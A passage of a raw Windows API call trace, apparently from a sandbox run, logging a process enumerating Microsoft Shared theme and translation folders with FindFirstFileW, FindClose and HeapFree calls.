FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.008] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.008] GetProcessHeap () returned 0x6a0000 [0170.008] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.008] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.009] GetProcessHeap () returned 0x6a0000 [0170.009] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.010] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.010] GetProcessHeap () returned 0x6a0000 [0170.010] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.011] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.011] GetProcessHeap () returned 0x6a0000 [0170.011] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.012] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.012] GetProcessHeap () returned 0x6a0000 [0170.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.013] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.013] GetProcessHeap () returned 0x6a0000 [0170.013] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.015] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.015] GetProcessHeap () returned 0x6a0000 [0170.015] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.191] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.193] GetProcessHeap () returned 0x6a0000 [0170.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.203] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.205] GetProcessHeap () returned 0x6a0000 [0170.205] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.210] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.210] GetProcessHeap () returned 0x6a0000 [0170.210] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.211] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.211] GetProcessHeap () returned 0x6a0000 [0170.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.211] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.211] GetProcessHeap () returned 0x6a0000 [0170.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.211] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.211] GetProcessHeap () returned 0x6a0000 [0170.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.212] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.212] GetProcessHeap () returned 0x6a0000 [0170.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.212] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.212] GetProcessHeap () returned 0x6a0000 [0170.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.212] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.212] GetProcessHeap () returned 0x6a0000 [0170.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.213] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.213] GetProcessHeap () returned 0x6a0000 [0170.213] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.213] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.213] GetProcessHeap () returned 0x6a0000 [0170.213] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.213] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.214] GetProcessHeap () returned 0x6a0000 [0170.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.214] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.214] GetProcessHeap () returned 0x6a0000 [0170.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.214] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.214] GetProcessHeap () returned 0x6a0000 [0170.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.327] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.327] GetProcessHeap () returned 0x6a0000 [0170.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.328] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.328] GetProcessHeap () returned 0x6a0000 [0170.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.545] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.545] GetProcessHeap () returned 0x6a0000 [0170.545] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.545] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.545] GetProcessHeap () returned 0x6a0000 [0170.545] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.546] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.546] GetProcessHeap () returned 0x6a0000 [0170.546] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.546] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.546] GetProcessHeap () returned 0x6a0000 [0170.546] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.546] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.546] GetProcessHeap () returned 0x6a0000 [0170.546] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.547] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.547] GetProcessHeap () returned 0x6a0000 [0170.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.547] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.547] GetProcessHeap () returned 0x6a0000 [0170.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, 